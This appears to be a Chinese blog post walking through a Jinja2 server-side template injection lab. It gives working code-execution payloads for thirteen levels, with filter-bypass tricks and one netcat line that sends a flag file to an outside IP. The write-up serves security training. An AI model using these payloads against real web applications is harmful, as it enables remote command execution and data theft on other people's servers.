SSTI靶场

SSTI靶场SSTI 又称服务端模板注入攻击 jinja2 模板中使用 语法表示一个变量 它是一种特殊的占位符 当利用 jinja2 进行渲染的时候 它会把这些特殊的占位符进行填充 替换 但是在进行目标编译渲染的过程中 执行了用户插入的恶意内容 因而可能导致了敏感信息泄露 代码执行 GetShell 等问题首先看一下 class 用 python 试一下输出了说明 是 str 类另外还有其他类型 str 字符串 dict 字典 tuple 元组 list 列表 这些类型的基类都是 object

基本知识

什么是ssti

SSTI,又称服务端模板注入攻击。jinja2模板中使用{}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换。但是在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell等问题

__class__

首先看一下__class__用python试一下

SSTI靶场

输出了

说明”是str类另外还有其他类型

SSTI靶场

str(字符串)、dict(字典)、tuple(元组)、list(列表),这些类型的基类都是object,也就是说它们都属于object,而object拥有众多的子类。

接下来看这个东西

__bases__

可以用来查看类的基类(父类)

SSTI靶场

这几个符号的基类都是object

面还可以加个数组,表示使用数组索引来查看特定位置的值

SSTI靶场

__mro__

除bases外__mro__也是用来查看基类的,不同的是他也可以将类型显示出来

SSTI靶场

__subclasses__()

查看子类

SSTI靶场

可以看到有非常多的子类,其中有一个类:

,比如我想用这个类

SSTI靶场

__init__.__globals__

这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

SSTI靶场

popen

执行命令

SSTI靶场

基本payload

payload主要有两种形式:

一种是获取os来执行命令

{ 
 {''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

一种是得到__builtins__利用eval来执行命令

{ 
 {url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

#或者是其他可以得到__builtins__的关键字。

{
{ }}和 {% %}

{
{ 变量 }}:变量代码

{% 代码 %}:逻辑代码

{ 
 { course.courseName }} {% for course_data in course_data_s %}

靶场

level 1(no waf)

no waf

直接用基本的payload,但os._wrap_close类比较难找所以用for循环

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

SSTI靶场

level 2(waf {
{ )

waf:bl[‘{
{‘]

可以用{%%}来进行绕过,直接执行命令就好

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

level 3 (无回显)

waf:没有明显回显

可以直接用nc

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag|nc 192.168.247.1 80').read()%}{%endif%}{%endfor%}

SSTI靶场

level 4(waf [] )

waf:bl[‘[‘, ‘]’]

构造中一般利用[]从字典中提取key的值,除了[]外还可以采用__getitem__提取

利用getitem绕过[]

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}{%endif%}{%endfor%}

level 5(waf ‘ “)

waf:bl[‘\”, ‘”‘]

利用request绕过,这边使用了cookie进行传参

code={ 
  {x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}} Cookie:x1=__builtins__;x2=__import__('os').popen('cat f*').read()

level 6(waf _)

code={ 
  {(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()

level 7(waf .)

{ 
  {config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__") ("os")|attr("popen")("cat fla*")|attr("read")()}}

level 8(waf class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”)

{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('cat f*')["re""ad"]()%}{%endif%}{%endfor%}

level 9(waf 0-9)

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

level 10(waf set config = None)

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

level 11(waf [‘\”, ‘”‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’])

{% set index=dict(index=a)|join%} {% set pop=dict(pop=a)|join%} {% set ls=dict(ls=a)|join%} {% set cat=dict(cat=a)|join%} {% set popen=dict(popen=a)|join%} {% set get=dict(get=a)|join%} {% set chr=dict(chr=a)|join%} {% set n=dict(n=a)|join%} {% set t=dict(t=a)|join%} {% set f=dict(f=a)|join%} {% set os=dict(os=a)|join %} {% set read=dict(read=a)|join%} {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(cat,space,dict(flag=a)|join)|join %} {   {(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

level 12(waf ‘_’, ‘.’, ‘0-9’, ‘\’, ‘\”, ‘”‘, ‘[‘, ‘]’)

waf:bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘\”, ‘”‘, ‘[‘, ‘]’]

比上一关多过滤了数字,可以使用index获取数字,payload基本不变。

level 13(waf ‘_’, ‘.’, ‘\’, ‘\”, ‘”‘, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[‘, ‘]’)

{% set index=dict(index=a)|join%} {% set pop=dict(pop=a)|join%} {% set ls=dict(ls=a)|join%} {% set cat=dict(cat=a)|join%} {% set popen=dict(popen=a)|join%} {% set get=dict(get=a)|join%} {% set chr=dict(chr=a)|join%} {% set n=dict(n=a)|join%} {% set t=dict(t=a)|join%} {% set f=dict(f=a)|join%} {% set os=dict(os=a)|join %} {% set read=dict(read=a)|join%} {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(cat,space,dict(flag=a)|join)|join %} { 
  {(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/178736.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午4:36
下一篇 2026年3月26日 下午4:36


相关推荐

  • saga分布式事务_本地事务和分布式事务

    saga分布式事务_本地事务和分布式事务在分布式系统中一次操作需要由多个服务协同完成,这种由不同的服务之间通过网络协同完成的事务称为分布式事务。本文详解介绍七种常见分布式事务的原理以及优缺点和适用场景(2PC、3PC、TCC、Saga、本地事务表、MQ事务消息、最大努力通知)

    2025年11月12日
    4
  • ipynb pycharm 运行_有关如何运行.ipynb文件的图形说明

    ipynb pycharm 运行_有关如何运行.ipynb文件的图形说明Python 中 lowbar lowbar init lowbar lowbar period py 文件的功能的详细说明 init py 文件的功能是将文件夹更改为 Python 模块 在 Python 中每个模块的软件包中 都有一个 init py 文件 通常 init py 文件为空 但我们也可以向其中添加其他功能 导入软件包时 实际上是导入其 init py 文件

    2026年3月27日
    2
  • Shell脚本 (三)for循环 while循环 case分支语句

    Shell脚本 (三)for循环 while循环 case分支语句

    2021年6月13日
    99
  • python中md5加密的实现

    python中md5加密的实现python中md5加密的实现MD5消息摘要算法:(英语:MD5Message-DigestAlgorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hashvalue),用于确保信息传输完整一致。MD5是最常见的摘要算法,速度很快,生成结果是固定的128bit字节,通常用一个32位的16进制字符串表示。Python的hashlib提供了常见的摘要算法,如MD5,SHA1等等。摘要算法又称哈希算法、散列算法。它通过一个函数,把任意长度的数据转换为一个

    2022年7月11日
    15
  • 麦克风声源定位原理_一种利用麦克风阵列进行声源定位的方法与流程

    麦克风声源定位原理_一种利用麦克风阵列进行声源定位的方法与流程本发明涉及计算机信号处理领域,具体涉及一种用麦克风阵列时延估计定位声源的方法。背景技术:20世纪80年代以来,麦克风阵列信号处理技术得到迅猛的发展,并在雷达、声纳及通信中得到广泛的应用。这种阵列信号处理的思想后来应用到语音信号处理中。在国际上将麦克风阵列系统用于语音信号处理的研究源于1970年。1976年,Gabfid将雷达和声纳中的自适应波束形成技术直接应用于简单的声音获取问题。1985年,美国…

    2026年2月14日
    3
  • 软件测试 边界值法的实例,边界值分析法实例

    软件测试 边界值法的实例,边界值分析法实例我做了要写 WINXP 中计算器的减法运算的用例 我用的是主要是边界值分析 希望大家看看 给点评价 thankU 我们做的测试用例我用边界值划分 现在我记找到几个边界值 大卫老师说让我去好好想想 我头都快爆了 不过我就是喜欢这种感觉 我把能想到的边界值都列出来 1 由于是 32 位机器 所以最大能输入的整数为 32 个 9 这个是个边界 0 是正数和负数的边界 而最小的能输入的整数为 99

    2026年3月19日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号